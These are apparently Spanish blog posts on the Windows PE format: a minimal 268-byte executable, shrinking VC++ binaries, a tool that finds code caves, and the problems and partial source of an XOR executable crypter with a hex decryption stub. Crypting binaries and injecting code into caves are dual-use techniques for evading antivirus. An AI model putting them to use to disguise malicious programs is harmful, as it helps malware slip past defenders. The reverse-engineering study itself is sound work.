<p><a href="http://lh3.ggpht.com/-_SZj0_CDE4w/TlzEzyjvu6I/AAAAAAAAAaA/z1a_KcpXvLc/s1600-h/image18.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-ljLEe3gNhmY/TlzE0h8PCSI/AAAAAAAAAaE/UnyC8oNuL9E/image_thumb15.png?imgmax=800" width="464" height="290"></a></p>
<p align="justify">Fijaos que los últimos 4 ceros perteneces al Overlay del ejecutable. No pertenecen a ninguna sección, ni se ven reflejados en ningún campo del PE. Un tanto enigmático…</p>
<p align="justify">De este modo llegamos al ejecutable mas pequeño que funciona en todas las versiones de Windows superiores a XP, incluida.</p><pre class="brush: cpp">; tiny.asm
BITS 32
;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew
mzhdr:
dw "MZ" ; e_magic
dw 0 ; e_cblp UNUSED
;
; PE signature
;
pesig:
dd "PE" ; e_cp, e_crlc UNUSED ; PE signature
;
; PE header
;
pehdr:
dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386)
dw 0 ; e_minalloc UNUSED ; NumberOfSections, 0
code:
dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED ; Code (push byte 42, pop eax, ret)
dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED
dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED
dw opthdrsize ; e_lsarlc UNUSED ; SizeOfOptionalHeader
dw 0x103 ; e_ovno UNUSED ; Characteristics
;
; PE optional header
;
filealign equ 4
sectalignn equ 4 ; must be 4 because of e_lfanew
%define round(n, r) (((n+(r-1))/r)*r)
opthdr:
dw 0x10B ; e_res UNUSED ; Magic (PE32)
db 8 ; MajorLinkerVersion UNUSED
db 0 ; MinorLinkerVersion UNUSED
dd round(4, filealign) ; SizeOfCode UNUSED
dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
dd 0 ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED
dd code ; AddressOfEntryPoint
dd code ; BaseOfCode UNUSED
dd round(filesize, sectalignn) ; BaseOfData UNUSED
dd 0x400000 ; ImageBase
dd sectalignn ; e_lfanew ; SectionAlignment
dd filealign ; FileAlignment
dw 4 ; MajorOperatingSystemVersion UNUSED
dw 0 ; MinorOperatingSystemVersion UNUSED
dw 0 ; MajorImageVersion UNUSED
dw 0 ; MinorImageVersion UNUSED
dw 4 ; MajorSubsystemVersion
dw 0 ; MinorSubsystemVersion UNUSED
dd 0 ; Win32VersionValue UNUSED
dd round(filesize, sectalignn) + 0x1000; SizeOfImage
dd round(hdrsize, filealign) ; SizeOfHeaders
dd 0 ; CheckSum UNUSED
dw 2 ; Subsystem (Win32 GUI)
dw 0x400 ; DllCharacteristics UNUSED
dd 0x100000 ; SizeOfStackReserve UNUSED
dd 0x1000 ; SizeOfStackCommit
dd 0x100000 ; SizeOfHeapReserve
dd 0x1000 ; SizeOfHeapCommit UNUSED
dd 0 ; LoaderFlags UNUSED
dd 0 ; NumberOfRvaAndSizes UNUSED
;
; Data directories
;
times 16 dd 0, 0 ; Empty Directory data, it's needed in Windows >= XP SP2
dd 0, 0, 0, 0 ; Compatibility with x64 Windows
opthdrsize equ $ - opthdr
hdrsize equ $ - $$
filesize equ $ - $$
</pre>
<p align="justify">Una última cosa. Para que funcione en Windows de 64 bits requiere 16 bytes más a continuación de la tabla de directorios :|</p>
<p><a href="http://www.multiupload.com/8IGKM4SVCA">tiny-Compatible.asm</a> | <a href="http://www.multiupload.com/SIDYH456SJ">tiny-Compatible.exe</a></p>
<p align="justify">268 bytes, esto es lo mínimo que puede ocupar un ejecutable que funcione en XP, Vista y W7 tanto en versiones de 32 como de 64 bits.</p>
<p align="justify">4 bytes de la cabera MZ + 24 bytes de la cabecera PE + 96 bytes de la cabecera PE Opcional + 128 bytes de la tabla de directorios (compatibilidad >= XP SP2) + 16 bytes (compatibilidad x64) = 268 bytes.</p>
<h3> </h3>
<h3>Documentación relacionada:</h3>
<p align="justify">Después en el artículo para conseguir dejar el exe en 97 bytes superpone la tabla de secciones sobre la cabecera PE. Otra opción hubiese sido eliminar la tabla de secciones y utilizar un ejecutable sin ninguna sección. Esto está explicado en esta presentación de Alexander Liskin. <a href="http://www.kaspersky.com/images/alexander_liskin_-_pe_specification_vs_pe_loader-10-98424.pdf">PE: Specification vs. Loader</a>.</p>
<p align="justify">Otro documento muy interesante en el que se lleva el formato PE es el white papper <a href="http://www.reversinglabs.com/blackhat/PECOFF_BlackHat-USA-11-Whitepaper.pdf">Undocumented PECOFF</a> de ReversingLabs, <a href="http://www.reversinglabs.com/blackhat/PECOFF_BlackHat-USA-11-Slides.pdf">presentado</a> este año en la BlackHat USA.</p>
<p> </p>
<p align="justify">Ha sido un artículo un poco pesado, con bastantes cosas “mágicas” que no se sabe muy bien por qué suceden. Para entender bien la implementación del loader de windows habría que realizar ingeniería inversa al mismo, ¿eso es legal?. Todas las demás conclusiones pueden estar equivocadas.</p>
<p align="justify">Si alguien logra un ejecutable menor de 268 bytes compatible con "todos" los Windows o hay alguna parte equivocada os animo a corregirme en los comentarios.<br>
Saludos! </p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4816745650066414070.post-75903673620781318852011-08-22T11:21:00.002+02:002011-08-22T11:23:07.102+02:00Generar ejecutables pequeños con VC++ 9.0 y Visual Studio 2008<p align="justify">En esta entrada voy a explicar cómo configurar Visual C++ 9.0, en el entorno Visual Studio 2008, para que genere ejecutables lo más pequeños posibles.</p> <p align="justify">Me he basado en este artículo, que explica lo mismo para VC++ 6.0:<br><a href="http://www.catch22.net/tuts/minexe">http://www.catch22.net/tuts/minexe</a></p> <p align="justify">Para hacer las pruebas vamos a realizar un programa muy sencillo, que muestra un mensaje y se cierra.</p><pre class="brush: cpp">#include <stdio.h>
int main(int argc, char* argv[])
{
printf("Hola");
return 0;
}
</pre>
<p align="justify">Este sencillo programa ocupa 30 Kb. Lo primero que hay que hacer cambiar la configuración del proyecto que por defecto está en modo DEBUG. Cambiándola a RELEASE conseguimos que el ejecutable baje a 7 kb. Ahora sobre esta configuración iremos cambiando cosas para disminuir aun mas el peso.</p>
<p align="justify">El compilador VC++ como se explica en el artículo que puse al principio, define su propio punto de entrada, donde hace distintas inicializaciones y ya después de todo eso ejecuta el main. Esquema de esta función:</p><pre class="brush: cpp">int mainCRTStartup()
{
int retval;
init_heap();
parse_command_line();
init_global_vars();
init_exception_handling();
// finally call the user-defined main
retval = main();
// terminate all threads and exit
ExitProcess(retval);
}
</pre>
<p align="justify">Esto supone código y dependencias extra. Podemos decir a VC++ que nuestro punto de entrada sea nuestra función main, de esta forma ignorará su función por defecto.</p>
<p align="justify">Para ello en Visual Studio, en las propiedades de nuestro proyecto en el apartado “Propiedades de configuración > Vinculador > Avanzadas” en “Punto de entrada” pondremos “main”.</p>
<p align="justify"><a href="http://lh4.ggpht.com/-Qad2sMn11a4/TlIfZWxEFOI/AAAAAAAAAYY/1JoiRfLZvVA/s1600-h/image29.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-_1KQiPonA2E/TlIfaZhLwKI/AAAAAAAAAYc/uLPMq5Ewsbs/image_thumb15.png?imgmax=800" width="465" height="339"></a></p>
<p align="justify">Con esto reducimos el ejecutable hasta los 3.5 kb.</p>
<p align="justify">Hay que tener cuidado porque al saltarnos la función inicial de VC++ (donde se llamaba a “parse_command_line()”) ya no podemos acceder a los argumentos mediante argc y argv. Si necesitamos acceder a los mismos se puede hacer con la API <a href="http://msdn.microsoft.com/en-us/library/ms683156(v=vs.85).aspx">GetCommandLine</a>.</p>
<p align="justify">Sigamos adelgazando el ejecutable, veamos las secciones que tiene:</p>
<p align="justify"><a href="http://lh5.ggpht.com/-Ce1deYlYwQM/TlIfawQPcyI/AAAAAAAAAYg/cuXmgbU2OH8/s1600-h/image38.png"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-oHT79Ow3tlk/TlIfbR48sbI/AAAAAAAAAYk/MMS3T4AVwlI/image_thumb16.png?imgmax=800" width="401" height="151"></a></p>
<p align="justify">Una sección que nos podemos ahorrar es la de .reloc. Las relocalizaciones. Esta sección es mas típica de DLLs, que pueden ser cargadas en diferentes direcciones de memoria. En este ejecutable aparece porque esta activada la opción de DYNAMICBASE para que el ejecutable sea compatible con ASLR. Podemos confiar en que nuestro ejecutable conseguirá cargarse en la dirección base que tiene configurada por defecto y que no necesitará las relocalizaciones, en los ejecutables no suele dar problemas esto.</p>
<p align="justify">Para desactivar esta opción vamos a “Propiedades de configuración > Vinculador > Avanzadas”, “Dirección base aleatoria” y seleccionamos Deshabilitar.</p>
<p align="justify"><a href="http://lh6.ggpht.com/-ryXYwgg8ykc/TlIfcA9X3FI/AAAAAAAAAYo/t6rxA8pV8Lc/s1600-h/image46.png"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-STDpimA5VrU/TlIfdK-neqI/AAAAAAAAAYs/7y1Kh0FFErc/image_thumb20.png?imgmax=800" width="456" height="328"></a></p>
<p align="justify">Ahora el ejecutable pesa 3.37 kb. </p>
<p align="justify">Volvemos a ver las secciones y se ve como hay información de depuración en EOF. En la tabla de directorios también aparece:</p>
<p align="justify"><a href="http://lh3.ggpht.com/-0uRFGgzOF7Y/TlIfdsXmYfI/AAAAAAAAAYw/5O4YyWBePfs/s1600-h/image51.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-0SjFZiDDJOw/TlIfegxgJbI/AAAAAAAAAY0/I_z4rYgTv-A/image_thumb23.png?imgmax=800" width="460" height="443"></a></p>
<p align="justify">Solo es una ruta hacia el fichero pdb de nuestro equipo el cual contiene toda la información de depuración, no nos hace ahorrar mucho, pero cuanto mas simple mantengamos el ejecutable mejor.</p>
<p align="justify">“Propiedades de configuración > Vinculador > Depuración”, “Generar información de depuración”, “No”.</p>
<p align="justify">Dejamos el ejecutable en los 3 kb.</p>
<p align="justify">Otra sección que se puede eliminar es la sección de recursos, .rsrc. se puede ver que solo contiene el archivo de manifiesto. En él se especifica los permisos con los que se necesita arrancar el ejecutable (UAC). Además también se incluye aquí algunas dependencias, ensamblados, como es el caso de MSVCR90.DLL, que solo se puede cargar desde el manifiesto (no entiendo muy bien el por qué, se admiten explicaciones en los comentarios y lo incorporo aquí).</p>
<p align="justify">El hecho de depender de MSVCR90.DLL hace además que sea necesario instalar el “<a href="http://www.microsoft.com/downloads/es-es/details.aspx?familyid=9b2da534-3e03-4391-8a4d-074b9f2bc1bf&displaylang=es">Paquete redistribuible de Microsoft Visual C++ 2008</a>” en aquellos equipos donde se vaya a ejecutar la aplicación. </p>
<p align="justify">¿Opciones?</p>
<ul>
<li>
<div align="justify">Usar otra librería en tiempo de ejecución para C. Aquí podemos ver las alternativas:<br><a href="http://msdn.microsoft.com/en-us/library/abx4dbyh(v=VS.90).aspx">http://msdn.microsoft.com/en-us/library/abx4dbyh(v=VS.90).aspx</a><br>Por defecto se usa “Multithreaded, dynamic link” /MD. La cual requiere la carga de la DLL MSVCR90.DLL.<br>Se puede usar la opción “Multithreaded, static link”. La librería se “linka” estáticamente, nos libramos de DLLs externas pero el ejecutable incrementa su tamaño en 37 Kbytes. </div>
<li>
<div align="justify">Usar solamente la API de Windows, así no dependemos de librerías y no aumentamos el tamaño del ejecutable.</div></li></ul>
<p align="justify">Como buscamos disminuir el tamaño del ejecutable elegimos la segunda opción. Así que nos toca buscar una equivalencia al printf con la API de Windows:</p><pre class="brush: cpp">#include <windows.h>
int main()
{
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
return 0;
}
</pre>
<p align="justify">Como ya no se va a usar la librería en tiempo de ejecución para C, la quitamos. “Propiedades de configuración > Vinculador > Entrada” en “Omitir todas las bibliotecas predeterminadas” ponemos Si.</p>
<p align="justify"><a href="http://lh3.ggpht.com/-vqzAlKZCJak/TlIffZaPclI/AAAAAAAAAY4/lL7XkgdHC1k/s1600-h/image55.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-irHSdQzNJXI/TlIfgB566WI/AAAAAAAAAY8/OTgr_qthDt8/image_thumb25.png?imgmax=800" width="458" height="329"></a></p>
<p align="justify">Ahora al compilar veremos un error:</p>
<p align="justify"><a href="http://lh5.ggpht.com/-PgunG0IDRt0/TlIfghEUj-I/AAAAAAAAAZA/3v2Sx3V5Ln8/s1600-h/image62.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-jIgoiupkZ7U/TlIfhHJ-TQI/AAAAAAAAAZE/Bv1I8D9Tsvw/image_thumb34.png?imgmax=800" width="406" height="86"></a></p>
<p align="justify">Desaparece poniendo en “Propiedades de configuración > C/C++ > Generación de código” en “Comprobación de seguridad de buffer” No (/GS-).</p>
<p align="justify"><a href="http://lh3.ggpht.com/-dHlUS4jTn48/TlIfh935KPI/AAAAAAAAAZI/aQ-kwVSWH14/s1600-h/image66.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-Xdt-q36ROC0/TlIfiip3CbI/AAAAAAAAAZM/R7hXVphRxKQ/image_thumb36.png?imgmax=800" width="456" height="328"></a></p>
<p align="justify">Ya podremos quitar el manifiesto ya que no necesitamos permisos especiales para el UAC, ni la carga de ningún ensamblado. Con ello quitaremos también al sección .rsrc.</p>
<p align="justify">En “Propiedades de configuración > Vinculador > Archivo de manifiesto” en “Generar manifiesto” ponemos No.</p>
<p align="justify"><a href="http://lh6.ggpht.com/--wcsj_MUt6M/TlIfjenq7JI/AAAAAAAAAZQ/QOlh6yfId84/s1600-h/image39.png"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-A6jHw-Yywg4/TlIflw8YmKI/AAAAAAAAAZU/pAeMpRrakfM/image_thumb17.png?imgmax=800" width="456" height="333"></a></p>
<p align="justify">Nos quitamos al sección .rsrc. 1 kb menos, el ejecutable pesa 2 kb.</p>
<p align="justify">Ahora solo tenemos 2 secciones .text y .rdata.</p>
<p align="justify"><a href="http://lh3.ggpht.com/-AsmOPrw4lBw/TlIfmcQjmXI/AAAAAAAAAZY/gImBoFLVTII/s1600-h/image70.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-oFfDiJtloi0/TlIfm3Q7mbI/AAAAAAAAAZc/9rZdlX9wW5o/image_thumb38.png?imgmax=800" width="447" height="161"></a></p>
<p align="justify">En .text tenemos el código mínimo para ejecutar nuestro programa. Sin inicializaciones ni cosas raras.</p>
<p align="justify"><a href="http://lh3.ggpht.com/-ZaBf8Xastb4/TlIfnStjA6I/AAAAAAAAAZg/W2Dkyr9wNtk/s1600-h/image75.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-pobRxgJMJ5k/TlIfoMxpucI/AAAAAAAAAZk/ChPPPYUaF0w/image_thumb44.png?imgmax=800" width="452" height="120"></a></p>
<p align="justify">En .rdata están la cadena “Hola” y la Import Table.</p>
<p align="justify">Lo que sigue dando tamaño al ejecutable es la existencia de las 2 secciones alineadas. Para ello es posible combinar una en la otra con la siguiente directiva:</p><pre class="brush: cpp">#include <windows.h>
#pragma comment(linker,"/merge:.rdata=.text")
int main()
{
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), "Hola", 4, NULL, NULL);
return 0;
}
</pre>
<p align="justify">Con esto dejamos el ejecutable en 1 kb. Lo mas bajo que es posible dejarlo sin editar el ejecutable a mano. <a href="http://www.multiupload.com/A6EDJRQQK9">Subo aquí</a> el proyecto de Visual Studio.</p>
<p align="justify">Para reducirlo mas, ~130 bytes, se puede leer este texto: <a href="http://www.phreedom.org/solar/code/tinype/">Tiny PE</a>, es una pasada, aunque el ejecutable generado no es compatible con Windows 7.</p>
<p align="justify">Saludos!</p> Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-88731054767643603752011-08-18T21:09:00.004+02:002011-08-18T21:16:54.788+02:00Sencillo programa para encontrar huecos en ejecutables<p align="justify">Seguramente muchos conozcáis la herramienta <a href="http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/Q-R-S-T-U/ToPo.rar">ToPo</a> un programa, con 12 años a sus espaldas, para buscar huecos en los ejecutables y así poder insertar código sin necesidad de añadir nuevas secciones.</p>
<p align="justify">Estos huecos surgen cuando se alinean las secciones del ejecutable en disco con el valor FileAlignment que suele tomar el valor de 0x200. Por ejemplo si un programa tiene una sección que realmente ocupa 0x310 bytes, estará obligado a tener una sección en el ejecutable en disco de tamaño como mínimo 0x400 bytes y gracias a este alineamiento hay 0xF0 bytes al final de la sección que no son utilizados para nada.</p>
<p align="justify">El caso es que quería crearme un sencillo programa que encontrara estos huecos, para después usarlo en el crypter y si se puede no añadir una nueva sección aprovechando los huecos.</p>
<p align="justify">La idea es recorrer todas las secciones y comprobar una a una si el valor de VirtualSize, el tamaño real de al sección, es menor que el tamaño de al sección en disco, SizeOfRawData. En este caso existe un hueco en esa sección de tamaño SizeOfRawData – VirtualSize.</p>
<p align="justify">Aquí os dejo el código, la mayoría de la funcionalidad se encuentra en el fichero PECore.cpp, un fichero donde he sacado las funciones mas comunes ha realizar con ejecutables. Así es mas fácil entender el código.</p>
<pre class="brush: cpp">
#include <stdio.h>
#include <windows.h>
#include "PECore\PECore.h"
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Se esperaba 1 parametro, el fichero donde se buscarán los huecos\n");
printf("Ej: %s notepad.exe\n", argv[0]);
return EXIT_FAILURE;
}
MapInfo mapInfo;
if (OpenAndMapFile(&mapInfo, argv[1]) == -1)
return EXIT_FAILURE;
//En cada sección se comprueba si el tamaño virtual es menor que el tamaño en disco de la sección
//VirtualSize < SizeofRawData, en ese caso hay un hueco que ha surgido de las alineaciones
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&mapInfo.viewMappedFile[pIDH->e_lfanew];
for(DWORD i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&mapInfo.viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
if (pISH->Misc.VirtualSize < pISH->SizeOfRawData)
{
//Hay un hueco, imprimimos su ubicación y tamaño
DWORD Pos = pISH->VirtualAddress + pISH->Misc.VirtualSize;
printf("Hueco encontrado!\n");
printf("Section: %s\n", pISH->Name);
printf("RVA:\t%#x\n", Pos);
printf("Offset:\t%#x\n", RVAToOffset(mapInfo.viewMappedFile, Pos));
printf("Size:\t%#x\n\n", pISH->SizeOfRawData - pISH->Misc.VirtualSize);
}
}
CloseAndUnmapFile(&mapInfo);
return EXIT_SUCCESS;
}
</pre>
<p align="justify">Subo los ficheros PETools.h y PETools.cpp <a href="http://www.multiupload.com/39YTWBY594">aquí</a>, espero ir mejorándolos con lo que necesite.</p>
<p align="justify">Por supuesto ToPo es mucho mas completo, da la posibilidad de redireccionar el EP al hueco, añadir secciones y modificar sus permisos.</p>
<p align="justify">Saludos!</p>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-31158289099194716312011-08-12T17:41:00.001+02:002011-08-12T17:41:51.033+02:00Cifrando un ejecutable en C, problemas<hr> <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html">Cifrando un ejecutable en C</a> <hr> <p align="justify">El código que se mostró en la anterior entrada para cifrar un ejecutable haciendo XOR sobre toda su sección de código no funciona con todos los ejecutables. Vamos a ver algunas de las posibles situaciones en las que se me ocurre que puede fallar.</p> <p align="justify">En el ejecutable del netcat la IT, Import Table, estaba en la sección .rdata. Para ver en que sección está la IT se puede mirar en la cabecera PE, en el directorio de datos, la VirtualAddress del directorio de importaciones.</p> <p align="justify"><a href="http://lh3.ggpht.com/-qCGB5nAXr5c/TkVJnwBisqI/AAAAAAAAAXo/LQqKgveWC0M/s1600-h/image%25255B4%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-GdMie5eLSzw/TkVJp_tGiCI/AAAAAAAAAXs/iI8-cDT947k/image_thumb%25255B5%25255D.png?imgmax=800" width="444" height="94"></a></p> <p align="justify">Y mirar en que sección cae esta dirección. Claro que es mucho mas fácil abrir el ejecutable con OllyDbg y ver el mapa de memoria:</p> <p align="justify"><a href="http://lh4.ggpht.com/-YJBkVZtOt5A/TkVJqd4VALI/AAAAAAAAAXw/UGROuvi2ER0/s1600-h/image%25255B11%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-TCi8DIeicR4/TkVJq1oRofI/AAAAAAAAAX0/pBMlv_c-AEk/image_thumb%25255B13%25255D.png?imgmax=800" width="441" height="78"></a></p> <p align="justify">En el caso del netcat el crypter no tocaba en ningún momento la IT. Pero hay muchos ejecutables, por ejemplo la calculadora de windows, en el que la IT está en la sección de código:</p> <p align="justify"><a href="http://lh6.ggpht.com/-evZUYNqvHIo/TkVJrWqrNLI/AAAAAAAAAX4/B4qMa6XdRhU/s1600-h/image%25255B17%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-h7Zu8s_f3SU/TkVJsU47KzI/AAAAAAAAAX8/pgPbJMKF8DI/image_thumb%25255B20%25255D.png?imgmax=800" width="365" height="84"></a></p> <p align="justify"></p> <p align="justify"></p> <p align="justify">¿Qué sucede en estos casos?</p> <p align="justify">Que nuestro crypter cifra toda la sección de código incluida la IT. Y cuando Windows carga el ejecutable, y el loader trata de recorrer la IT para rellenar la IAT, Import Address Table, se encuentra con una tabla sin sentido, con punteros a zonas de memoria que no existen y BOOM!! Explota:</p> <p align="justify"><a href="http://lh4.ggpht.com/-Jnfn-rXcHbU/TkVJsoOcRGI/AAAAAAAAAYA/KGxYiV2xwy4/s1600-h/image%25255B22%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-QWDVE-x9Nww/TkVJtf9pTvI/AAAAAAAAAYE/V8Q7713BymM/image_thumb%25255B24%25255D.png?imgmax=800" width="451" height="101"></a></p> <p align="justify">Deberíamos o bien, omitir a la hora de cifrar la zona donde está la IT y la IAT. O bien, invalidar la IT en el directorio de datos y cargarla desde la rutina que hemos añadido después de descifrar la sección.</p> <p align="justify"><br>Otra de las cosas que puede fallar es cuando la IT u otra tabla de datos se encuentra en la cabecera PE, aprovechando el espacio libre que surge de alinear el tamaño de la cabecera, este espacio está justo después de la tabla de secciones. Volviendo a la calculadora de nuevo, podemos observar como la tabla “BoundImportDirectory” está dentro de la cabecera en la posición 260h:</p> <p align="justify"><a href="http://lh5.ggpht.com/-J9h97Uw0B84/TkVJtpNV7NI/AAAAAAAAAYI/OYmyYPFuWFE/s1600-h/image%25255B27%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-rkqL244aje0/TkVJuItTEBI/AAAAAAAAAYM/LNkhNx4NP5Q/image_thumb%25255B31%25255D.png?imgmax=800" width="461" height="67"></a></p> <p align="justify">Está tabla es usada para cargar mas rápidamente un ejecutable, ya que digamos que tiene precargada toda la IAT para una determinada versión de librerias, DLLs, ahorrandose así el tiempo de recorrer toda la IT e ir buscando la dirección de cada función para compeltar la IT. Si ya conoce al versión de DLL que se va a cargar ya sabe exactamente en que dirección se va a encontrar la función.</p> <p align="justify">El caso es que esta tabla está en la posición 260h, justo despues de la tabla de secciones:</p> <p align="justify"><a href="http://lh3.ggpht.com/-TMTEVQXNT94/TkVJuoIT5mI/AAAAAAAAAYQ/Qr6eKiQ7zLQ/s1600-h/image%25255B33%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-V_N-nMkCNwQ/TkVJvjfCE9I/AAAAAAAAAYU/WqnP9i_KkfU/image_thumb%25255B41%25255D.png?imgmax=800" width="466" height="248"></a></p> <p align="justify">Y cuando nuestro crypter de la anterior entrada añade una sección sobrescribe parte de está tabla dejándola con datos erróneos.</p> <p align="justify">Al añadir una sección deberíamos tener cuidado de no sobrescribir ninguna tabla, y si es necesario relocalizar la tabla en otro lugar.</p> <p align="justify"><br>Otro problema, es que nuestra rutina de descifrado usa el registro EAX, el cual deja con el valor del Original Entry Point, así cuando se ejecuta el código original no está todo como debería estar si no se hubiese cifrado el ejecutable, ya que aunque la pila contiene exactamente lo mismo y la mayoría de los registros están sin cambiar, el registro EAX, que suele inicializarse a 0, en nuestro caso tendría otro valor. Esto puede dar problemas en muy raras ocasiones en las que se presuponga que inicialmente EAX vale 0 y el programa no se encargue de inicializar el registro. Pero si he visto código en ensamblador que usa el valor inicial de EBX, ya que el loader de Windows lo inicializa con la dirección del Process Enviroment Block, PEB, y es una forma mas cómoda de acceder al PEB, sin pasar antes por el TIB (fs:30).</p> <p align="justify">Conclusión, el crypter debería dejar los valores de los registros y de la pila intactos tras ejecutar su rutina de descifrado. Para ello es muy habitual hacer uso de las instrucciones PUSHAD y POPAD que guardan y restablecen respectivamente todos los registros.</p> <p align="justify">Y esto es lo que de momento se me ocurre que podría fallar, seguro que van surgiendo mas fallos según vaya probándolo.</p> <p align="justify">Ahora toca mejorar el código del crypter para que tenga en cuenta estas cosas.</p> <p align="justify">Saludos!</p> Unknownnoreply@blogger.com6tag:blogger.com,1999:blog-4816745650066414070.post-27684717070128341572011-08-11T12:22:00.009+02:002011-08-12T16:32:00.844+02:00Cifrando un ejecutable en C<hr /><a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html">Cifrando un ejecutable a mano</a> <br />
<a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html">Cifrando un ejecutable a mano, dos variaciones</a> <br />
<hr /><div align="justify">En las dos entradas anteriores hemos visto como cifrar un ejecutable a mano y algunas posibles variaciones a la hora de hacerlo. Conociendo el proceso para realizarlo a mano hacer un programa que haga lo mismo es cuestión de paciencia.<br />
<br />
</div><div align="justify">Aquí os dejo el código fuente en C del programa que he realizado.</div><pre class="brush: cpp">#include <stdio.h>
#include <windows.h>
//Rutina encargada de descifrar la sección cifrada
char uncryptroutine[] = //21 bytes
"\xB8\x00\x10\x40\x00" //B8 00104000 MOV EAX, 401000 Section Start ||Este valor será modificado
"\x80\x30\xBB" //8030 BB XOR BYTE[EAX], BB Key
"\x40" //40 INC EAX
"\x3D\x00\x45\x40\x00" //3D 00454000 CMP EAX, 404500 Section End ||Este valor será modificado
"\x75\xF5" //75 F5 JNZ SHORT -11 (Complemento a dos de 11 = F5)
"\xB8\x00\x20\x40\x00" //B8 00204000 MOV EAX, 402000 Pone en EAX el OEP || Este valor será modificado
"\xFF\xE0"; //FFE0 JMP EAX Salta al OEP
//Posiciones de la rutina que tienen que ser corregidas
const int sectionStartPos = 1;
const int sectionEndPos = 10;
const int OEPPos = 17;
//Dado un numero y un alineamiento, devuelve el numero alineado superior mas cercano
DWORD align(DWORD number, DWORD alignment)
{
if(number % alignment == 0)
return number;
else
return (number / alignment) * alignment + alignment;
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
